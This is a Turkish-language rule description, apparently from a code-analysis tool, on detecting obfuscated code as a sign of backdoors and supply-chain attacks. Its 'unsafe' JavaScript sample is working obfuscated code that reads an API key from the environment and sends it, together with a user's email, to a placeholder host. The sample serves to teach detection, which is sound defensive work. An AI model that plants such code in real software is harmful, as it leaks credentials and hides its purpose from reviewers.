Kural
Tespit potansiyel zararlı kod kodu
Kod şu şekilde şeffaf şeffaf olmalıdır niyetinde niyetinde
Kasıtlı karartma ya da gizleme teknikleri şunu
kötü niyetli niyet veya arka kapılar.
Desteklenen diller: 45+Giriş
Üretim depolarındaki karmaşıklaştırılmış kod her zaman zararsız değildir. Ön uç derlemelerinde kod küçültme için meşru kullanım senaryoları mevcut olsa da, kaynak kodda kasıtlı olarak karmaşıklaştırılmış mantık genellikle tedarik zinciri saldırılarını, arka kapıları veya güvenliği ihlal edilmiş bağımlılıkları işaret eder. Saldırganlar, kötü niyetli yükleri yüzeysel kod incelemelerinden gizlemek için kodlama hileleri, alışılmadık dize birleştirme, dinamik değerlendirme ve diğer karmaşıklaştırma tekniklerini kullanır.
Neden önemli?
Güvenlik etkileri: Gizlenmiş kod, tedarik zincirinin ele geçirildiğinin başlıca göstergelerinden biridir. 2024 XZ Utils arka kapısı, kötü amaçlı SSH kimlik doğrulama atlama kodunu gizlemek için gelişmiş gizleme teknikleri kullanmıştır. Benzer teknikler, ortam değişkenlerini veya kimlik bilgilerini sızdıran, güvenliği ihlal edilmiş npm paketlerinde de görülmektedir. Kod, amacını kasıtlı olarak gizlediğinde, güvenlik incelemeleri ve otomatik taramalar sırasında tespit edilmekten kaçınmak üzere tasarlanmış demektir.
Kodun bakım kolaylığı: Kod karmaşıklaştırma kötü niyetli olmasa bile, bakım açısından tam bir kabusa dönüşür. Gelecekteki geliştiriciler kodun amacını anlayamaz, hata ayıklama imkânsız hale gelir ve kod, kimsenin dokunmak istemediği bir teknik borç haline gelir. Karmaşıklaştırılmış mantık, hataları veya güvenlik açıklarını tespit etmek üzere tasarlanmış tüm statik analiz araçlarını atlatır.
Saldırı yüzeyinin genişlemesi: Aşağıdaki gibi kod gizleme teknikleri: eval(), Fonksiyon() Yapıcı işlevleri veya Base64 ile kodlanmış dizeler, güvenlik araçlarının statik olarak analiz edemediği dinamik kod yürütme yolları oluşturur. Bu durum, kaynak kodu incelemelerinde görünmeyen çalışma zamanı davranışları ortaya çıkararak saldırı yüzeyinizi genişletir.
Performans üzerindeki etkisi: Karmaşıklaştırılmış kodlarda genellikle aşırı dize birleştirme, dinamik özellik erişimi veya tekrarlanan kodlama/kod çözme işlemleri gibi verimsiz kalıplar kullanılır. Bu kalıplar, kaynak depolarda meşru bir iş amacına hizmet etmemekle birlikte performansı düşürür.
Kod örnekleri
❌ Uygun değil:
const _0x4d2e = ['env', 'API_KEY', 'toString', 'base64'];
const _0x1f3a = (i) => _0x4d2e[i];
function sendData(user) {
const key = process[_0x1f3a(0)][_0x1f3a(1)];
const payload = Buffer.from(JSON.stringify({
u: user.email,
k: key
}))[_0x1f3a(2)](_0x1f3a(3));
fetch('https://analytics-cdn.example.com/t', {
method: 'POST',
body: payload
});
}Neden güvenli değil: Değişken isimleri kasıtlı olarak anlamsızdır, dizge erişimi dizi indeksleme yoluyla gizlenmiştir ve bağlantı kurulan gerçek uç nokta belirsizdir. Bu model, kötü amaçlı paketlerin kimlik bilgilerini nasıl sızdırdığıyla aynıdır; bu da inceleme sırasında kodun gerçek amacını doğrulamayı imkansız hale getirir.
✅ Uygunluk:
const ANALYTICS_ENDPOINT = 'https://analytics.example.com/track';
function sendAnalyticsEvent(user) {
const event = {
userId: user.id,
email: user.email,
timestamp: Date.now()
};
return fetch(ANALYTICS_ENDPOINT, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(event)
});
}Neden güvenlidir: Anlaşılır değişken adları, açık uç noktası, şeffaf veri yapısı ve net amaç. Herhangi bir denetçi, hangi verilerin nereye gönderildiğini anında anlayabilir. Bu kod, hem güvenlik araçları hem de insanlar tarafından denetlenebilir.
Sonuç
Kaynak kod depolarındaki karmaşıklaştırılmış kod, araştırma gerektiren bir güvenlik uyarısıdır. Derleme aşamasında yapılan kod küçültme işlemi, ön uç optimizasyonu açısından kabul edilebilir olsa da, kaynak kodu her zaman okunabilir ve şeffaf olmalıdır. Karmaşıklaştırma kalıplarının erken aşamada tespit edilmesi, tedarik zincirinde güvenlik ihlallerini önler ve kodun denetlenebilirliğini korur.

